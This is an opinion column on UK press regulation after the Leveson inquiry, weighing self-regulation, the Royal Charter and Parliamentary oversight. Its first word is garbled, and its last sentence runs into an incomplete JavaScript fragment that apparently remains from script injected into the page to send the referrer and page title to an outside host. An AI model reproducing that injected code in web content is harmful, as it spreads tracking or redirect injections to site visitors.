In Other News… Press Regulation

By Kirsty-Louise Hunt

Popressliticians and the press have been at loggerheads in recent months over the issue of regulating the latter.

The controversial issue of press regulation reared its head following the illegal phone hacking scandal which prompted a judge-led public inquiry into press standards.

The now infamous Leveson inquiry, which heard oral evidence from over 300 witnesses and took the best part of a year, found that hundreds of people, from celebrities like Hugh Grant to ordinary people struck by tragedy like the McCann’s and Milly Dowler’s family, had been victims of intrusion from certain sections of Britain’s tabloid press.

Leveson’s report, published in November 2012, made a series of recommendations. It recommended that newspapers should continue to be self-regulated, that government should have no power over what they publish, that there had to be a new press standards body created by the industry with a new code of conduct and that the body should be backed by legislation to ensure it was independent and effective.

On the face of it, these proposals don’t seem all that cumbersome. Backed by the majority of the public, and following a cross-party deal in March 2013, the main political parties outlined a plan to implement a new press watchdog backed up by legislation in the form of a Royal Charter. Unsurprisingly, the press howled in indignation.

Following months of disagreement, the most recent developments in this on-going saga saw the press’s alternative, a watered down Royal Charter, be rejected by a subcommittee of the Privy Council  – perhaps unsurprising, given it consists solely of seven coalition MPs who serve the Government which advocates the original plan.

But on paper, I don’t actually disagree with Leveson’s proposals. In theory, I believe they continue to protect press freedom, whilst giving the opportunity for redress to innocent victims of press abuses. I believe a new press standards body – backed by legislation to give it teeth and ensure its independence – which includes a free arbitration service for victims is an appropriate response given  the discoveries that were made about the nature and extent of press abuses. Not everyone can afford to fight defamation in court – and justice for only those who can afford it is no justice at all.

On the issue of Parliamentary oversight, I lean more in favour of the press. I do think it more appropriate that Parliament should have no say in future changes to press regulation – even if they do need a two thirds majority to change it. Given that all political parties agree on the issue, it doesn’t seem too difficult to imagine a scenario where this could be achieved. And, call me naïve, I don’t believe that the Leveson proposals are the state-sponsored censorship that some continue to harp on about – but that doesn’t mean I don’t feel uneasy at the possibility of future political involvement in our free press. Particularly when certain members of our Parliament have only recently called for the prosecution of         Guardian journalist over the Snowden files, and when our own Prime Minister wades into the debate and calls for an ‘investigation’ into the effects of the Guardian’s work on our national security – its perhaps only understandable that newspaper editors are skittish about regulation spearheaded by politicians.

Nevertheless, an absolutist stance on either side of this complicated issue gets us nowhere.

It’s not unreasonable to suggest that the press should be subject to some degree of regulation which gives protection to ordinary people, as long as we remain on our guard to ensure that the press remains free and able to carry out the important scrutiny of Government.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;